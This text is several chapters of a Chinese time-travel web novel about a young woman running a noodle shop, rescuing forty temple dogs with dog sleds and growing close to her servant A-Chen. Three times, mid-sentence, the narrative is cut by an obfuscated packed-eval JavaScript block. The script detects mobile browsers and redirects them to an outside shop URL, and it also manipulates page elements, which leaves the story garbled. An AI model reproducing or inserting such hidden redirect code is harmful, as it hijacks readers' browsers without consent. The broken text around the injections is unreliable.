牛车在雪地里碾出两道长长的辙印，苏芸转身回了面馆。门口停业的牌子没收，雪天本来客人就少，加上她今天没有心思营业，索性休息一天。 苏平之也看出她不对劲，钻进灶房，一会儿端出两碗鸡蛋面来。 “芸儿，来尝尝，我做的～” “哇，谢谢！” 苏平之原本不会做饭，跟着苏芸耳濡目染几个月，多少学了点皮毛。 苏芸接过碗筷夹了一口。面有点软了，但调味不错，上头还卧着一颗流心蛋。 筷子一戳，橙黄的蛋液淌出来，慢慢渗进面汤里。 苏平之自己那碗是全熟的，他不太理解苏芸为什么爱吃半生的蛋，但今天他特意做了一个。 他觉得苏芸现在需要。 苏芸吃着面，有一搭没一搭地和苏平之闲聊。可她的思绪已经飘回了昨天晚上，飘到茗香苑二楼的窗边。 “别看越国只是个弹丸之地，打起仗来凶残至极。大云十万兵马，折损了大半！” “听说那边的神明赐给他们一种新型武器，叫火铳。隔着远远的距离，朝你一比划…” 啪！ 说书人重重拍了下醒木，比了个一。 “就这么一下。打在人身上，立刻就没命咯！” “虽然最后天佑我云国灭了那些越贼，但还有一波贼子趁乱逃进了云国。估计啊，是想着法子报复回来。” 然后她听见了那个声音。 咣当。 阿沉的茶杯打翻了。 5. 热呼呼的腊八粥，发现四十只狗 今儿是腊月初八。 连续下了几日暴雪后太阳再次升起，屋檐的冰棱开始滴水，门口不时传来滴答滴答的声音，断断续续，持续不停。 或许是因为积雪路滑的缘故，即使天已经晴了，面馆里的客人也不算多，一个上午只来了十几个人。 生意冷清丝毫没影响苏芸的兴致，她起了个大早，带着帮工们一起，准备起南福寺的大锅饭。 到了巳时饭也做好装车，阿沉坐在车上刚要走，只见苏芸迅速跳了上来。 “等下，今儿我们一起去。” 苏芸忙进忙出的，不知不觉带了满身寒气。 牛车不大，她贴着阿沉身边，阿沉下意识冷得打了个哆嗦。 反应过来是苏芸后，他强忍下寒意，点了点头。 车轮碾过雪地，发出吱呀吱呀的声响，苏芸抱着个半人多高的麻布袋子，随着牛车晃晃悠悠的。 “嚯！” 牛车压到块石头颠了一下，苏芸一个踉跄，差点翻车。 阿沉一把抓紧她的小臂，另一只手将袋子往怀里一带，用腿托住了它。 “吓死我了，差点摔下去。” “嗯，小心些。” 见苏芸坐稳了身子，阿沉的手微微松下几分力气，但依然抓着她的手臂没有放开。 就这样抓到了南福寺。 今日寺里门庭若市，走到前院门口时牛车又绕了段路，从后门进去。 三个小和尚迎了上来，接过阿沉手里的大食盒拿到灶房。 不远处的正殿，和尚在敲钟。 铛，铛，铛 香火缭绕钻入鼻息，苏芸站在原地驻足片刻，直到阿沉拍了拍她的肩。 “那个，做什么？”他指向苏芸带的麻布袋子，放在身上的时候硬硬的，可能装的是石头。 “噢对，差点儿忘了！” 苏芸把袋子费力地从牛车搬下，阿沉见状忙走上去接住。 “走，我们把这个袋子送到静宁师太那边，今儿不是腊八节吗，正好送点食材给她熬粥。” 每年到了腊八节，寺院的和尚们都会出去沿街化缘，募集些煮粥用的米，豆子，干果，什么都收，来者不拒。 从前在现代时苏芸全家定期都会去庙里拜拜，再布施些钱财物品，这也算积攒福报的方式之一。 后院的大锅早就烧开了，有人添水，有人看火，也有人拿着长勺卖力搅锅。 “多谢苏施主。” 静宁师太接过沉甸甸的食材，朝苏芸鞠了一躬。 今日香客过多，一锅锅腊八粥迅速被众人分食，许多和尚也纷纷帮忙，可还是有些力不从心。 腊八粥讲究的是“先豆后米”，因为豆子难熟。 苏芸协助师太把豆子放入锅中，过了些时候再放入米果，再长勺的搅动下米，豆的香气愈发浓郁。 柴火快烧完了，添柴的和尚恰好被人叫走帮忙，苏芸刚想自己动手，阿沉立刻放下打好水的木桶抢先一步。 “我来。” 阿沉蹲下身子，抡起斧头开始劈柴。 啪，啪，啪。 手起刀落，柴火劈开。 苏芸退回身子，继续用长勺搅拌大锅。 哒，哒，哒。 直到太阳落山，积雪成泥，南福寺的香客散去许多。 长勺在锅底刮过的声音从稠变稀，一口大锅终于见底，阿沉劈完柴站起来膝盖上沾着木屑。 苏芸擦了擦额头上的薄汗，揉了揉酸痛的手腕，终于彻底放松下来。 “苏施主，沉施主，今日多亏二位帮忙，贫尼在此谢过二位。” 用过斋饭，静宁师太客客气气地送二人走到院子外围。 “师太不必客气，如今我本就是寺中一员，出份力也是应尽的责任。” 二人又寒暄几句，苏芸一只脚刚迈出门口。 一阵狗叫从角落紧闭的屋内撞出来。 “汪汪！” “汪汪汪！” 声音闷在门板后面，像是被关了很久。 “那是……” “唉……”提及此事，静宁师太叹了口气。 “那是护生寮里关着的大狗，四十多只。” “大型狗不好送养，只能由我们费力照料，一到了夜里便叫得厉害，吵得我们连续多日夜不能寐，实在的头疼得紧。” 四十只狗。 其实这事和苏芸无关，但她回去的路上一直想着，忘不掉。 她在现代的家里是养过狗的。 她的狗叫豆豆，陪着她从蹒跚学步的幼儿长成了健步如飞的少女。 豆豆死后苏芸哭了很久，即使后来又过了很多很多年，她的心里一直有它。 豆豆也是大狗，忠诚可靠又亲人，眼下看着这些大狗陷入困境，苏芸觉得自己像是被人丢在火架子上烤了似的。 怎么办？ 苏芸没法收养，面馆是做菜吃饭的地方，狗狗掉毛多，一定会掉到食物里面。 怎么办？ 她翻来覆去想了一夜，甚至连开个狗咖这种怪点子都在脑海里过了一遍。 但古代卫生条件差，再加上人们如果摸狗抱狗，万一给狗吓着了，咬上一口，怎么办？ 连打狂犬疫苗都没处打去！ 直到隔天中午，苏平之从外面回来，一瘸一拐的。 “哎呦，疼死了。” 苏芸和阿沉把他扶下，上药，一问才知道路上结了冰，苏平之一个没注意，滑了一跤，摔得腿都青了大片。 结冰？滑倒了？ “太好了！”苏芸一个机灵，猛拍了一下大腿。 拍的还是给苏平之上药的腿。 苏平之：？？？ 滑倒了还叫好？这是谁家的妹妹啊，良心何在？ “哎哥，不是不是！” 苏芸见他面露委屈，这才反应过来连忙否认。 “不是说这个啊，我指得是狗。” 她伸手拍了拍旁边的阿沉。 “过两天我们再去趟南福寺。” “我知道怎么安置那些狗了。” ——————————————————————— 李行老躺在摇椅上，懒洋洋地晒着太阳。 这几日没什么生意，他也懒得动弹，整日在茗香苑里喝茶听书，打发时间。 他又想起了上回那个开面馆的女娃。 唉……要是多来几个像她那样的冤大头该多好啊。 想到这，李行老觉得身上的暖意突然消失了。 他睁开眼，眼前两个身影正好挡住了太阳光。 “哎！是您二位啊！” 说曹操曹操到，李行老想着的“冤大头”，又带着她家的黑脸仆人找上门咯！ “您坐你坐，哎呦几日不见您这气色又好了不少！” 李行老脸上快笑开了花儿，他甚至已经想好了这回再宰她一笔，然后拿钱喝花酒去。 “姑娘，这回您想要点什么？” 苏芸坐下来喝了口茶，然后开口： “这回啊我想找个细木匠，做几样小家具使。” “您可认识手艺好的？” “细木匠……”李行老想了下，点点头。 “认识认识！正好我一同乡就是干这个的，您需要的话我明天就带人上您那儿去！” “那价格……？” “每天五百文，材料费您出，然后您再包顿饭食就成！” 苏芸没表态，慢慢喝了口茶水，然后起身道： “走吧阿沉，我们回松月馆去。那儿的行老报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488205|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价便宜多了。” 阿沉绷住脸，扶着苏芸起身，二人抬脚就要往楼下走。 “哎您等等！”李行老急了。 松月馆？一定是老王那个死老头！敢跟老子抢生意。 想到这他又打量几眼苏芸。 几日不见，这女娃怎么忽然开智了？还学会了四处比价？ 李行老忙挤出讨好个谄笑： “您别急着走，我还没说完呢！” “五百文那是对外人的价，您既然是老顾客了那肯定要算便宜些的，那就……四百文！” 苏芸轻轻敲了下桌子，缓缓摇头。 “这……”李行老心里顿时没了底。 “我问一句，那边给您开价多少啊？” “一百文。” “一……！”李行老在心里把隔壁老王大骂一通。 “这人忒坏了！为了做成生意真是不择手段啊！ 罢了！眼瞅着连续几日都没得生意，赚得少总比没得赚强。 “……行！那我们也按一百文算！” 苏芸单手托住下巴微微一笑。 “如果是同样的价格我为什么不选他们呢？刚临走时我可与那边说好了，没找到合适的就回去定下。” …… 最后，李行老涨红着老脸喊出九十文的价格，苏芸这才答应下来。 “成，那麻烦您了，明天辰时把人带来。” 李行老苦笑着把人送走，心里把松月馆的王行老祖宗十八代都骂了一遍。 “…去松月馆？再比比。” 苏芸一听这话绷不住笑了出声，她拍了下阿沉的肩膀。 “哈哈哈我连松月馆门朝哪儿开都不知道呢！” “你看这老头，真不经诈！” “走，回去继续做面去，柴火又快烧完了，还得再多劈一些。” “好。” ——————————————————— 苏芸把准备好的图纸摊在桌上，那是她熬夜画出来的。 她没学过画画，所以画风比较抽象，但好在木匠老孙也是个经验丰富的，理解起来不算困难。 老孙定眼一看，图纸画了个长形，标注四尺。 还花了两个圆圈，标注座位，两人。 下面一行小字：四角钻孔，用来绑绳。 苏芸手舞足蹈带着图纸比划半天，总算让孙木匠理解了“雪橇”的概念。 底下必须是包铁皮的，产生摩擦力。 孙木匠问摩擦力是什么？ 苏芸：“……就是让这个车拉得动，滑起来。” 就这样讨论了一个时辰，最后终于敲定下来。 四尺长二尺宽，榆木打造，底部磨滑。 车板子前还要加固根辕木，留着引出长绳用。 底部的地方需要找个铁匠，好在老孙认识人，把这活包了下来。 苏芸也没白让人家费心，按规矩给了他牙钱，他推辞几下，还是感激地收下。 这苏老板，年纪不大，做事如此周全。 苏芸连着定了三辆雪橇，大概要一个月左右。 苏芸爽快付了定金，然后又多掏了些钱。 做这玩意不需要木匠留在她这，她告诉木匠在家做完，多掏的钱当作“餐补” 孙木匠惶恐收下，心里想着一定要好好做完，别辜负人家的一番信任。 苏芸算了算，南福寺附近就是春水湖，现在湖上结了层厚厚的冰，平时人们都是绕着它走，倒白费了一番美景。 倒不如把现代的雪橇项目发展一下，正好那些狗子都是大型犬，拉得动人。 狗子凭本事赚钱，还保证了运动量，相信到了晚上，南福寺的和尚尼姑们，也能睡个好觉。 这真是一举两得的美事啊！ 6. 双皮奶，火鸡面 “哎？！” “苏家丫头？” 这日苏芸正在磨坊挑面粉，听见身后有人喊，她下意识回过头。 喊她的人是个圆脸的中年妇人，四十出头的年纪，看上去很是面善。 “是苏芸吧？这真是女大十八变，刘婶都快认不出你了！” 刘婶？ 苏芸飞快地在记忆里翻找，终于在原主记忆的角落里把这人想了起来。 从前的老邻居，原主十岁那年她们家发了笔小财，然后搬出村子了。 “噢噢刘婶！”她脸上堆起笑，“好久没见了，您最近还好吗？” 刘婶没回答，反而是笑容有些僵硬了。 “你……是苏阿福家的闺女苏芸吧？怎么这口音……” …… 这次回去一定好好学习语言，一定！苏芸心想。 然后她抬起手捂住额头，弱弱地说： “刘婶，实话告诉您吧，我之前摔了一跤，磕着脑袋了。” “醒来以后好多事儿都记不清楚，连我哥都是花了好久才想起来的。” “哎呀呀，这可怜孩子……”刘婶脸上的狐疑化成了心疼，伸手拍了拍她的胳膊。 “我就说嘛怎么变了口音，那你的身体怎么样啊？还有没有哪儿不舒服？” “没有没有，就是记性不大好了。”苏芸把手放下来，掌心里全是冷汗。 又寒暄几句，二人并肩往外走。磨坊外面是东市大街，卖菜的、卖布的、卖糖人的，吆喝声此起彼伏。 “对了，你哥现在怎么样了？”刘婶忽然问，“早年他和我家铁牛一块儿上学，那先生还说，你哥以后至少是个举人，真是前途无量啊！” 苏芸的脚步停了。 “……举人？” “对啊。”刘婶没注意到她的变化，自顾自往下说，“平之现在怎么样了？铁牛明年打算考院试，平之应该早就过了吧？” “方便的话……能不能教教我们家铁牛？婶子给钱！” 苏芸站在大街上，脚下是肮脏的雪泥，白色的积雪染成黑色，看上去脏兮兮的，踩着也不心疼。 她张开嘴，但耳朵已经听不见说了什么，然后那个叫刘婶的人乐呵呵地与她挥手道别。 她站在大街上，看着热热闹闹的街景，心里在想，苏平之现在干嘛呢？ 跑堂？算账？还是在灶房帮忙接她的活？ 家里三个人当中，苏平之是最忙的，每天天不亮起床干活，白天一直在面馆接待客人，一刻也休息不得。 打烊后的卫生也是他独自做的，苏芸几次想要分担，他都说这是哥哥该做的活，让她去休息。 他的手上全是干活磨出来的茧子和血泡，原本细皮嫩肉的一个人，从前大概也是父母的宝贝，没吃过多少苦的。 现在想想，苏平之从来没和她抱怨过一句，总是笑呵呵的。 她忽然想起他说过的话。 “对不住啊芸儿，哥哥还是没用，总拖你的后腿。” —————————————————————— “谢谢客官！您走好！” 面馆内，苏平之把钱丢进木钱盘里，铜板发出清脆的声响，他心里那支算盘也跟着响了起来。 如今面馆生意还算稳当，他们也能攒下些钱了。照这样下去，到了明年差不多可以扩建了！ 真好啊，真好。 正想着，苏芸从外面弯着腰进来，肩上扛着袋面粉。 “平之哥，我回来啦。” “呦，给我给我。”苏平之快步上前接过袋子，“你这是去磨坊了？怎么不叫阿沉去扛。” “上次那批面粉不好，这回我亲自挑的，出不了错。”苏芸站直身子，按了按后腰。 “对了平之哥，晚上我们吃盖浇饭好不好？做你爱吃的鱼香肉丝。” “真的？”苏平之眼睛亮了一下，随即又摇头，“灶房里还有些剩下的鸡蛋面，还是吃那个吧。南福寺那边儿的配额省着点用，能多撑几天。” “省什么啊。”苏芸戳了戳他的肩膀，“咱面馆虽说赚得不算多，但还不至于连口饭都省着。还吃什么？嗯……再来个红豆双皮奶，你上回吃了三碗，肯定喜欢。” “那……谢谢芸儿啦。”苏平之笑了，没再推辞。 苏芸转身进了灶房。她把红豆倒进锅里，添水，生火。火苗舔着锅底，豆子在水中慢慢翻滚。她蹲在灶前，盯着那锅红豆发呆。 腊八那天南福寺的大锅里煮的也是红豆。先豆后米，长勺搅动，豆香气从后院飘到前殿，香客们捧着碗围在锅边。她和阿沉在寺里待了一整天，帮着熬粥、分粥、添柴、劈柴。回来的时候天已经黑透了。 苏平之坐在大堂里，困得眼睛都睁不开了，但还是强撑着看见他们进门，他才站起来，开始拼桌子铺被褥上床睡觉。 那天苏芸那天还兴冲冲地跟阿沉讲，腊八喝粥会带来好运，让他多喝一碗。 可苏平之没有喝到粥。 豆子煮开了，咕嘟咕嘟冒着泡。和那天南福寺的味道一模一样。 她怎么就没想起来呢。 那个把自己当亲妹妹疼的人，自己刚穿过来没几天就撺掇他开间面馆，当时苏芸说得天花乱坠，还说干上一年，别墅靠海。 后来她才知道开店的钱是人苏家父母的死亡赔偿金，每次想到这儿她半夜起来都恨不得抽自己两下。 她真该死啊。 面馆开了以后生意冷清，半死不活的。 苏芸想象中那种，穿越小说里会出现的，主角做一道菜立刻爆火震惊古代人，无数名门贵族上赶着讨好她只求买口吃的，然后主角从此走上人生巅峰的场景，压根不存在。 生活是没有金手指的。 她对此愧疚得很，但苏平之没怪过她瞎忽悠，反而还经常夸她已经做得很好了。 有人碰了碰苏芸的胳膊，她回过神。 是阿沉。 他伸过手，把灶膛里快要掉出来的柴火往里推了推，然后起身，拿过装着水牛奶的粗陶罐。 “小心些。”他说。 苏芸低头一看，锅底的红豆已经冒出了一丝糊味。她赶紧把锅端下来，舀了瓢凉水兑进去。糊味散开了，但红豆的香气也淡了。 “水牛奶不够了。”她把陶罐里最后一点奶倒进碗里，看了看分量，“双皮奶先给平之哥吃吧，下次我再给你另做一份。” 阿沉把空罐子接过去。 “好，没事的。” 苏芸往奶里加白糖，打蛋清，搅拌。她的手在做，但心不在上面。蛋清液倒进碗里的时候洒了一点在灶台上，她没注意到，阿沉拿抹布擦掉了。 她把碗放进蒸锅，盖上盖子。火候比平时大了些，她也没注意到。阿沉蹲下去，把灶膛里的柴抽出两根，火势小了下来。 苏芸靠在灶台边，看着蒸锅冒出的白气。她忽然想起刘婶的话。 “先生说你哥以后至少是个举人。” 是啊，苏平之本来应该去考举人的。他的手应该摸书，写字，磨墨，不是劈柴，不是端盘子。 他应该坐在书院里，跟同窗论经义策论，而不是站在面馆里对客人弯腰说“您走好”。 苏记面馆的牌子就是他写的，那手漂亮的毛笔字，看得出是刻苦练过的。 之前还有个食客，是教书先生。闲谈间他和苏平之一同做了几首诗。那先生临走时还多留了一碗面的钱，叹息他当个跑堂的实在是太过可惜。 蒸锅里的双皮奶在慢慢凝固，苏芸心里算了笔账，如果当初没有开店，苏平之拿着钱备考一年，是够用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488206|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 以他的能力可以考上，他可以有更好的未来。 放在现代，苏芸等于是忽悠了一个985的苗子放弃学业去小餐厅端盘子，说能挣大钱，其实挣得特别少。 她觉得自己十分该死。 · 苏平之把最后一口双皮奶刮干净。碗底光溜溜的，勺子刮过瓷面发出细微的哒哒声。 他心情很好，因为吃到了喜欢的晚餐。 明天去东市得给芸儿买身新衣服，她那个袖口都磨破了。 还有阿沉那小子，就两套衣服，还都是自己送的。给他发工钱他也不知道买些吃的用的，跟块笨石头似的。 算了算了，谁让自己是大哥呢，一同给他买了吧。 苏平之这样想着，翻了个身，然后彻底进入梦乡。 ——————————————————— “对儿七！” “不要。” “不要。” “对儿十！” 苏平之看着手上仅剩的最后一张牌，嘴角快咧到耳根了。 嘿嘿！一晚上终于摸到副好牌，马上赢咯！ “炸弹。” 苏平之的笑容僵在脸上，看了眼阿沉，他手上还有六张牌。 这小子，拿到顺牌了？ 行吧，都是农民，谁赢都是赢。 “四。”阿沉又抽出一张。 “一张七！赢啦！！”苏芸把手上的牌狠狠摔在桌上，整个人从椅子上蹦起来，“哈哈哈哈哈哈哈我赢了！来来来继续贴纸条！” 苏平之难以置信地盯着阿沉，一把撕下脸上的纸条。 “阿沉！你放什么炸弹？我就剩一张了啊！！！” 阿沉看了看他，小声说： “我怕…你赢。” ？？？ 苏平之扑过去抓住阿沉的肩膀疯狂摇晃。阿沉被他摇得都出残影了。 “哥哥！你会不会玩！我们是一伙的啊你拦我干什么去拦芸儿啊！！” “白给你买新衣服了是吧？你就这么报答哥哥的？！” “哈哈哈哈哈哈我不行了……”苏芸趴在桌子上，眼泪都笑出来了，手直拍桌面，“平之哥你纸条掉光了！” “哼！我不贴了！”苏平之扯掉剩下的纸条，然后气鼓鼓地转头对着苏芸说道： “芸儿，下次不带他玩了！” “好好好，不带不带！”苏芸笑得肚子疼，深呼吸好几口才缓过来。然后快速跑到灶房端出一碗面，放在苏平之面前。 面是暗红色的，面条黏糊成一团搅在一起。 这是她用食茱萸、生姜、花椒捣碎了调的汁，又加了高汤和酱油，最后搁一点红糖提味。做出来和现代的火鸡面不是一个味道，但辣的程度差不多。 这里没有火鸡的概念，于是她改了个名儿，叫“火烧面。” “请吧～” 苏平之看了眼那碗红面，屏住呼吸，眼一闭，夹起一大筷子塞进嘴里。嚼了一下，脸开始红。 “水水水！！” 阿沉已经把凉茶递到他手边了。苏平之一口气灌下去，张着嘴直抽起。 云洲人口味清淡，能吃辣的不多，但总有一小撮人就好这口。大冬天早早爬起来，走几条街来店里，点一碗二十文的火烧面，一口下去，从舌头烧到胃，整个人像被点着了似的发烫。 吃完出门，冷风一吹，呼～～ 那叫一个爽啊！ 结束后苏芸走到灶房门口。阿沉背对着她，袖子卷到肘弯，手浸在水盆里。碗筷在他手里转一圈，丝瓜瓤擦过碗壁，再放到清水里过一遍，他动作不快，但很稳。 苏芸靠在门框上看了一会儿。 “阿沉。” 他停了一下。 “谢谢你。” 7. 被刁难了，定制，做牛排。 苏芸站在衙署前，看着那扇高高紧闭的三开门，深吸了一口气。 每次来县前街她都肚子疼。前前后后跑了十几回，市籍证还是没办下来。□□得先加入行会，由行首担保，行会出面。云洲只有一家米面行，她托面馆里的食客搭线，塞了钱，好容易见到了行首。没两天，钱被退了回来。 “对不住啊苏老板，这事儿办不了，您找其他人吧。” 苏芸起初以为是钱不够，又加了一倍还是不行。碰了几回软钉子之后她这才打听出来。 行首的哥哥的小舅子的亲爹，正是全福楼的老板，张华生。 全福楼主推面食，和苏记面馆是直接的对手。张华生对这个花样奇多的小面馆忌惮已久，经常派伙计去买苏芸研发的新品，吃得满嘴流油，吃完抹抹嘴： “多买几份，赶紧复刻出来。” 苏记面馆地儿小，但名气不小。从前全福楼的食客宁愿多走几条街也要去苏芸那儿吃，张华生看在眼里，恨在心里。 哼，是吃面还是去看人的我自有分辨！ 听说苏芸要办市籍证，他立刻备了两匹缂丝料子送到行首府上。 “好兄弟，别给她担保，把她踢了。” “弟妹生辰快到了吧？一点心意还请笑纳。” 然后苏芸被踢出了行会。 没办法，她只能孤身一人来衙署。好酒好菜备着，红包没少给。那些市吏该吃吃，该拿拿，该办事了却推三阻四。 还有那起了色心的，见苏芸有几分姿色，言语上没少占便宜。 “哎呦，小娘子今天又来啦？带什么好吃的了？来给哥哥看看？” 苏芸站在衙署门口，手指捏紧了袖口。 这要是在现代，一个举报电话，或者随手录音发网上，看他们还敢不敢嚣张！ 不过这次，面对市吏的调戏，苏芸大大方方走上前，从怀里掏出一张度牒文书。 市吏脸上轻浮的笑容顿时消失了。他接过文书翻来覆去仔细查看，然后双手奉还。“苏芸道士，您里面请。” 一炷香后，苏芸带着市籍证从衙署走了出来。 从衙署到面馆有段距离。她独自走在街上，走着走着，眼睛一热，突然就哭了出来。 “啊真是的……哭什么啊……” 她使劲儿揉着眼睛，边走边揉，生怕被人瞧见。 她想起这些日子。想起自己费心费力地揉面团，想起做出来的新菜一次次被友商复刻出去低价引流。想起苏平之手上的血泡，想起阿沉劈完柴膝盖上的木屑。想起自己每晚算账算到子时，刨去成本税费，到手就那么点碎银子。 这破地方谁爱待啊！ 她在现代学过一个词，叫“斩杀线”。 大概就是那些看似生活稳定有房有工作的人，其实抗风险能力极差，稍有不慎一个账单立刻返贫。她现在的运气普普通通，能做出受欢迎的菜，但没法靠这个一招翻身。总是刚赚到一点钱就被别人抢了生意。 那段时间她晚上睡觉都在坐噩梦。梦见面馆黄了，掉进斩杀线了，她和苏平之阿沉一起变成乞丐在大街上要饭。 还梦到自己回到了现代，在温暖的床上，或者在爸爸的面馆里。她看着爸爸妈妈哭出来： “爸，妈！吓死我了，我刚才做了个梦！” 然后她刚想抱着妈妈撒娇，在马上碰到人的那刻梦就醒了。 她还在硬邦邦的木头床上，这里还是那个“吓死她”的梦里。 苏芸擦干眼泪，把市籍证贴身收好。 回到面馆，孙木匠已经在等着了。三个雪橇车整整齐齐摆在地上，底部光滑平整，车身结实牢固。苏芸坐上试了试，爽快交付尾款，又拿出张新的图纸。 “这个……能做。”孙木匠费力地看了半天，勉强理解了抽象的图纸，“苏老板，您这要的东西真是稀奇古怪，我做了四十年木匠，还从没做过这么特别的物件儿。您是怎么想出来的？” “随手画的，让您见笑了。” 定制餐车的价格超出了苏芸的预期。人工费、木材、生漆桐油、配件，还有铁轮，一个铁轮两钱，四个八钱。最后总价一两七钱。苏芸把碎银子递出去的时候，心都在滴血。 但市籍证拿到手了，餐车就能合法上路，这笔钱必须花。 打烊后苏芸来到灶房。她把醒好的面团擀成薄片，撒上干粉。不知怎的，今天状态很差，刚擀上皮就觉得手腕阵阵抽筋。她疑惑地按按手腕，又没事了，再擀一会儿，又开始抽筋。 铛，铛，铛。 她敲敲锅沿。阿沉从外面进来，肩膀还带着两片鸡毛。 “你帮我把面团擀一下，擀成薄皮。”苏芸伸手拿掉鸡毛，侧开身子给他让地儿。 阿沉接过擀面杖。起初他不大会使力，总是这边厚那边薄，或者力气太大把皮弄断。苏芸站在旁边，手把手地教他。 手掌覆在他手背上，带着擀面杖往前推，力度均匀，速度不快不慢。 “就这样，别急。” 阿沉学得很快。一张张面片摊在板上，铺得满满当当，圆圆整整。苏芸这才放松下来，坐在旁边打量他。 他的头发有点长了。低着头时额前的刘海垂下来，挡住眼睛。阿沉用手别了几次，手上的面粉沾到脸上，酱色的皮肤配着雪白的面粉，看上去既滑稽又好笑。 “哈哈哈……”苏芸没憋住笑出了声。在阿沉疑惑的眼神下，她伸手摸上他的脸。“都变成小花猫了。” 她仔细擦了几下，这才把面粉擦干净。然后她发现自己离阿沉好近，差不多两寸的距离。阿沉站在那里一动不动，右手拿着擀面杖垂在一侧，任由她的手在他脸上来回擦拭。两人视线不经意对上。 灶房里很安静，只能听见蒸锅里的水咕嘟咕嘟冒着泡。 苏芸的手还停在他脸侧，她感觉到他皮肤的温度，比自己的掌心热。他的眼睛很黑，瞳仁深处有一点极深的褐色。 阿沉没有动。 苏芸也没有动。 两寸的距离，谁都没有再靠近，谁也没有退开。擀面杖还握在他手里，垂在一侧，指节因为用力泛着白。 不知过了多久。苏芸的手收了回来。 “你头发有点长了。”她说。“改天我给你剪剪？” 阿沉看着她。 “……好。” ————————————————————— 春水湖的湖面上结了厚厚的冰，太阳照在上面，泛起大片刺眼的白光。一大早苏芸便赶了过来，南福寺的几名和尚牵着大狗，已经早早候在那里了。 “这能行吗？不会把我摔下去吧？”苏平之看着雪橇车，前面绑着五条大狗。 “哎呀平之哥，你试试嘛，很好玩的！”苏芸和阿沉一边一个，拖着苏平之把他按在了车上。 慢点儿！慢点儿——” 一声令下狗子欢快奔跑，眨眼的工夫苏平之已经被拖走了好远，只闻其声不见其人。 “啊啊啊啊啊啊啊——” 苏芸笑得弯下腰。等她直起身，发现阿沉正看着她。他眼里亮亮的，是那种罕见的光。 “阿沉，我们也试试。” 上了车苏芸才发现尺寸还是有些窄了，两个人坐有点挤。“我坐另一个吧，这个会挤到你。”她刚要起身，阿沉伸手抓住了她的手臂，把她重新拉回座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488207|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 “不挤。”他停了一下。“一起…更安全。” 她没有挣开。一声令下，狗子奔跑，雪橇车绕着湖面开始滑动。 “好快啊啊啊啊！” “啊啊啊啊啊啊啊啊啊！” 苏芸开心地大喊大叫。冷冽的寒风拍在脸上，冻得她双颊红扑扑的，灌了一嘴的风。好冷！但是好开心！ 但是好冷！！但是好开心！！！ 围着湖面绕了半圈，苏芸站了起来，举起双臂高声呼喊：“冲呀！！！” “哎哟！” 狗子们一个急转弯，把她甩回了座位上。准确地说，是甩在了阿沉身上。 她的后背撞上他的胸膛，整个人被他接住了。他的手臂环在她身前，苏芸能感觉到他的心跳。她手忙脚乱地从他身上爬起来，爬回自己的位置乖乖坐好，耳朵尖烧得厉害。 然后阿沉拉住了她的手。 他的手太大，她的手指只够握住他的掌缘。 苏芸低下头，看着交叠的两只手。他的手是酱色的，她的手很白。 他的指节上有劈柴磨出的茧，烫伤的痂还没完全脱落。她的手背上还带着早上擀皮时沾的一点干面粉。 “这样…安全。”阿沉说。 他的声音很低，但他的手很热。 苏芸没有说话。 她没有挣开。 阿沉一直拉着她，直到玩完一圈回到面馆，才轻轻放开。 ———————————————————— 苏芸回到灶房，拿起鏊，生火倒油。 为了感谢她，南福寺那边送了些香客布施的牛肉，新鲜的，肥美的。 云国法律规定不能随意宰杀耕牛，私杀者判刑两年。不过云洲这种小地方离京城远，地方官员睁只眼闭只眼，还弄了个“牛肉税”借机敛财。 牛肉价格极高，苏记面馆先前推过牛肉面，为了控制成本买的是老死的牛肉，肉质生硬难啃，最后销量不好只能撤下。 眼下有了这么好的肉，苏芸的肚子早就咕噜噜响了。鏊有点小，她煎了两片后，又把第三片单独放了进去。又开始准备调味酱，平之哥喜欢糖醋酱，阿沉喜欢辣酱，自己来个番茄酱。 她正摆弄调料时，阿沉慢慢走了进来。他看了看鏊里的牛肉。 这个…我的？” “对啊，还没熟呢，再等会儿。” 阿沉看了看带着血丝的夹生肉，拿起锅铲轻轻铲起。“这样，很好。” 原来他喜欢三分熟。苏芸看着阿沉略带兴奋的表情，心底默默记了下来。 今天的阿沉好像格外开心，从坐雪橇车开始，到回来吃牛排，神情放松了许多，甚至隐隐透着几分笑意。 “阿沉，你喜欢吃这个生肉？”苏平之有些惊奇地问。阿沉点点头。 “瞧瞧你们两个，一个吃生肉，一个吃生鸡蛋，倒显得我这个吃熟食的人才是个异类似的。”苏平之摇头，“生食伤身，你们也少吃些。 好家伙，这要是在现代，估计苏平之得是个保温杯不离手的养生青年。 “不过阿沉，你这吃生肉的习惯是你家乡那边的习俗吗？” 阿沉拿起茶杯的手停了一瞬。苏芸连忙用脚踢了踢苏平之。 